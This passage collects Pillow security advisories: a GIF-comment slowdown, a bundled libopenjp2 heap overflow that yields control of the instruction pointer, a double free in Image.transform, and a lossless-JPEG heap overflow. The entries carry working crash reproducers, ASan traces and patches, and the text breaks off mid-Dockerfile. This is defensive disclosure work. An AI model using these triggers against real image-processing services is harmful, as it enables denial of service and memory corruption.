HEADER + extension * (size // 5) + IMAGE + TRAILER def time_open(data: bytes) -> float: start = time.perf_counter() with Image.open(io.BytesIO(data)) as im: # no load(): the cost is in open() elapsed = time.perf_counter() - start assert im.size == (1, 1) return elapsed MB = 1 << 20 attack, control = {}, {} for size in (2 * MB, 4 * MB): control[size] = time_open(make_gif(size, 0x01)) attack[size] = time_open(make_gif(size, 0xFE)) print(f"{size // MB} MB GIF control (0x01): {control[size]:6.2f} s " f"comments (0xFE): {attack[size]:6.2f} s", flush=True) growth = attack[4 * MB] / attack[2 * MB] vs_control = attack[4 * MB] / control[4 * MB] print(f"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)") print(f"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control") ##### BUG: super-linear growth, far slower than the control, and seconds of CPU per open() print("BUG" if growth >= 3 and vs_control >= 20 and attack[4 * MB] >= 8 else "OK") ``` </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-74r2-7ff9-mjj2](https://github.com/python-pillow/Pillow/security/advisories/GHSA-74r2-7ff9-mjj2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112401](https://nvd.nist.gov/vuln/detail/CVE-2026-112401) - [https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e](https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-74r2-7ff9-mjj2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() [GHSA-78g4-xqwv-q3g8](https://github.com/advisories/GHSA-78g4-xqwv-q3g8) <details> <summary>More information</summary> #### Details ##### Summary Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219 Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings. I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users. Note the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure. ##### Details ##### Affected wheels From `.github/dependencies.json` (`openjpeg`) at each tag: | Pillow | bundled OpenJPEG | status | |---|---|---| | 10.4.0 | 2.5.2 | safe | | 11.0.0 | 2.5.2 | safe | | **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** | | **12.0.0 … 12.3.0** | **2.5.4** | **affected** | Confirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06. ##### The defect `src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`: ```c OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; ``` `tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker. The correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not. Reached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM "valid" and lets `TPsot` walk past the allocation. ##### Patch status Fixed upstream in `91d08b11` ("Fix heap buffer overlfow in opj_j2k_read_sod", 2026-02-10). The newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**. ##### Suggested remediation 1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file. 2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code. 3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot. ##### Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply `Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway. I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`. That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume. ##### Proof of concept ASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`: ``` ==766332==ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 #&#8203;0 opj_j2k_read_sod j2k.c:5086 #&#8203;1 opj_j2k_read_tile_header j2k.c:9912 #&#8203;2 opj_read_tile_header openjpeg.c:575 #&#8203;3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793 #&#8203;4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949 #&#8203;5 _decode src/decode.c:132 located 8 bytes to the right of a 24-byte region allocated by opj_j2k_build_tp_index_from_tlm j2k.c:8939 ``` Frames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure. I have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready. No disclosure deadline from me; I will not publish anything while this is being worked on. ##### Impact Any application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file. **Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker. **Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136): ``` rip 0x4000 <- value chosen by the attacker's file layout rsi 0x3ff2 <- m_error_data, written by the same walk ``` Shifting the codestream with a COM marker moves `rip` with it (`0x16ce` → `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched. To be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8](https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8) - [https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc](https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc) - [https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0](https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0) - [https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad](https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://osv.dev/vulnerability/OSV-2025-219](https://osv.dev/vulnerability/OSV-2025-219) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-78g4-xqwv-q3g8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform BIT-pillow-2026-112402 / [CVE-2026-112402](https://nvd.nist.gov/vuln/detail/CVE-2026-112402) / [GHSA-7mwm-ghpf-9vrm](https://github.com/advisories/GHSA-7mwm-ghpf-9vrm) / PYSEC-2026-4331 <details> <summary>More information</summary> #### Details ``` ============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable. The bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached. ##### Details `ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time. Shortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker): ```python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) src = Image.new("L", (8, 8)) try: src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free() ``` The 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region "freed by" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, "previously allocated by" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`. ##### Code path `Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it: ```python ##### src/PIL/Image.py:3008…3021 im = new(self.mode, size, fillcolor) … im.__transformer( (0, 0, *size), self, method, data, resample, fillcolor is None ) ``` `__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`). In C, `_transform()` passes its *own* image as the destination: ```c /* src/_imaging.c:2153 */ imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill ); ``` `ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear: ```c /* src/libImaging/Geometry.c:1035-1043 */ if (filterid || imIn->type == IMAGING_TYPE_I16) { return ImagingGenericTransform(…); } if (a[1] == 0 && a[3] == 0) { /* Scaling */ return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); } ``` and `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints: ```c /* src/libImaging/Geometry.c:863-868 */ /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); /* <-- imOut belongs to the caller */ return (Imaging)ImagingError_MemoryError(); } ``` `ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im->destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed memory, then walks `im->blocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block. Every other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `"bad filter number"`, `"bad transform method"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected. The output width is what decides whether the path is hit: the output image costs `width × height × pixelsize` bytes, the table an additional `4 × width`. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB. ##### Impact Applications that let a user choose the output size of `Image.transform()` — `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 × width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown. ##### Reproducing Run `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 × WIDTH`-byte table in addition to the `WIDTH`-byte output image. The script runs the child twice: - **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`. If the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` ← `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step. The last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`. ##### Suggested fix `ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns: ```diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { ``` Every `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`. ##### The patch Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead Applies to `src/libImaging/Geometry.c` at the commit above. ```diff diff --git a/src/_imaging.c b/src/_imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,064 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): ##### on calloc() failure it ImagingDelete()s imOut, which for Image.transform() ##### is the Imaging struct owned by the live Python output image; that image's ##### _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. ##### A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB ##### 4*width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) w = int(sys.argv[1]) src = Image.new("L", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print("transform ok") except MemoryError: print("MemoryError caught") gc.collect() print("alive") ''') def run(width): p = subprocess.run([sys.executable, "-u", "-c", child, str(width)], capture_output=True, text=True, timeout=50) print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}") return p ctrl = run(50_000_000) # 50 MB image + 200 MB table fit under the limit att = run(300_000_000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout and "alive" not in att.stdout and att.returncode < 0) if att.returncode < 0: print("attack child killed by", signal.Signals(-att.returncode).name) import shutil if shutil.which("gdb"): # evidence only; verdict does not depend on it g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args", sys.executable, "-c", child, "300000000"], capture_output=True, text=True, timeout=120) print("\n".join(l for l in g.stdout.splitlines() if l.startswith("#") or "signal" in l)) print("BUG" if bug else "OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112402](https://nvd.nist.gov/vuln/detail/CVE-2026-112402) - [https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9](https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7mwm-ghpf-9vrm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap buffer overflow in ImagingJpegDecode BIT-pillow-2026-112403 / [CVE-2026-112403](https://nvd.nist.gov/vuln/detail/CVE-2026-112403) / [GHSA-8g5g-8vmr-9782](https://github.com/advisories/GHSA-8g5g-8vmr-9782) / PYSEC-2026-4332 <details> <summary>More information</summary> #### Details ##### Summary `JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`. libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image. The input is a standards-compliant JPEG, so `Image.open(..., formats=["JPEG"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size. ##### Affected code At `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29): - `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them. - `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`. - `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding. - `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: ("SOF3", "Spatial lossless", SOF)`. ```c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scale_num = 1; context->cinfo.scale_denom = context->scale; } ... case 2: if (!jpeg_start_decompress(&context->cinfo)) { break; } state->state++; /* fall through */ case 3: ok = 1; while (state->y < state->ysize) { ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); ``` Because `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported. ##### Primitive Per scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string. Measured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`. Threshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`. ##### Reproduction Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then: ```bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob ``` `make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer. ##### `Dockerfile` ```dockerfile FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANG_VERSION=20 ARG LIBJPEG_TURBO_TAG=3.1.4 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \ && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \ && rm -rf /var/lib/apt/lists/* ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address" ##### --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \ && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \ -DCMAKE_C_COMPILER=clang-20 \ -DCMAKE_C_FLAGS="$CFLAGS" \ -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \ 